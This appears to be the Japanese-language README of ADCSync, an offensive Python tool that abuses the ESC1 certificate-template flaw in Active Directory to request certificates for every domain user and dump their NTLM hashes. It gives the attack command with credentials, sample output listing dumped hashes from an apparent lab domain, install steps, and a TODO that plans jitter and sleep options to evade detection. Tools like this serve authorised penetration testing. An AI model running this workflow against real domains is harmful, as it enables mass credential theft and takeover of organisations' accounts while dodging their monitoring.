ADCSsync

これは、ESC1を利用してDCSyncを実行するために素早く作成したツールです。動作は遅いですが、DRSUAPIやVolume Shadow Copyを使用せずに、即席のDCSync攻撃を実行する効果的な手段です。

このツールの最初のバージョンであり、基本的にはドメイン内のすべてのユーザーに対してCertipyを実行するプロセスを自動化したものです。まだ多くの改善が必要であり、将来的には認証方法や脆弱なテンプレートの自動検出機能を追加する予定です。

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

    ___    ____  ___________
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/  |_/_____/\____//____/\__, /_/ /_/\___/
                         /____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00,  1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LOCAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

はじめに

ADCSyncはESC1エクスプロイトを利用して、Active Directory環境のユーザーアカウントからNTLMハッシュをダンプします。このツールはまず、渡されたBloodhoundダンプファイルからすべてのユーザーとドメインを取得します。次にCertipyを使用して各ユーザーに証明書要求を行い、PFXファイルを証明書ディレクトリに保存します。最後に、Certipyを使用して証明書で認証し、各ユーザーのNTハッシュを取得します。このプロセスは非常に遅く、完了までに時間がかかる場合がありますが、NTLMハッシュをダンプする代替手段を提供します。

インストール

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

使い方

このツールを使用するには、以下のものが必要です：

有効なドメイン資格情報
渡されるBloodhoundダンプからのユーザーリスト
ESC1に対して脆弱なテンプレート（Certipy findで見つける）

# python3 adcsync.py --help
    ___    ____  ___________                 
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__  
/_/  |_/_____/\____//____/\__, /_/ /_/\___/  
                         /____/              

Usage: adcsync.py [OPTIONS]

Options:
  -f, --file TEXT      Input User List JSON file from Bloodhound  [required]
  -o, --output TEXT    NTLM Hash Output file  [required]
  -ca TEXT             Certificate Authority  [required]
  -dc-ip TEXT          IP Address of Domain Controller  [required]
  -u, --user TEXT      Username  [required]
  -p, --password TEXT  Password  [required]
  -template TEXT       Template Name vulnerable to ESC1  [required]
  -target-ip TEXT      IP Address of the target machine  [required]
  --help               Show this message and exit.

TODO

NTLMハッシュやccacheファイルなどの代替認証方法をサポート
"certipy find"を自動実行してESC1に脆弱なテンプレートを検出・取得する
検出を回避するためのジッターおよびスリープオプションの追加
すべての変数に対する型検証の追加

謝辞

puzzlepeaches：このコードを早く書けと急かしてくれた
ly4k：Certipyに対して
WazeHell：テスト用の脆弱なAD環境をセットアップするスクリプトに対して

ADCSync

人気

ADCSsync

はじめに

インストール

使い方

TODO

謝辞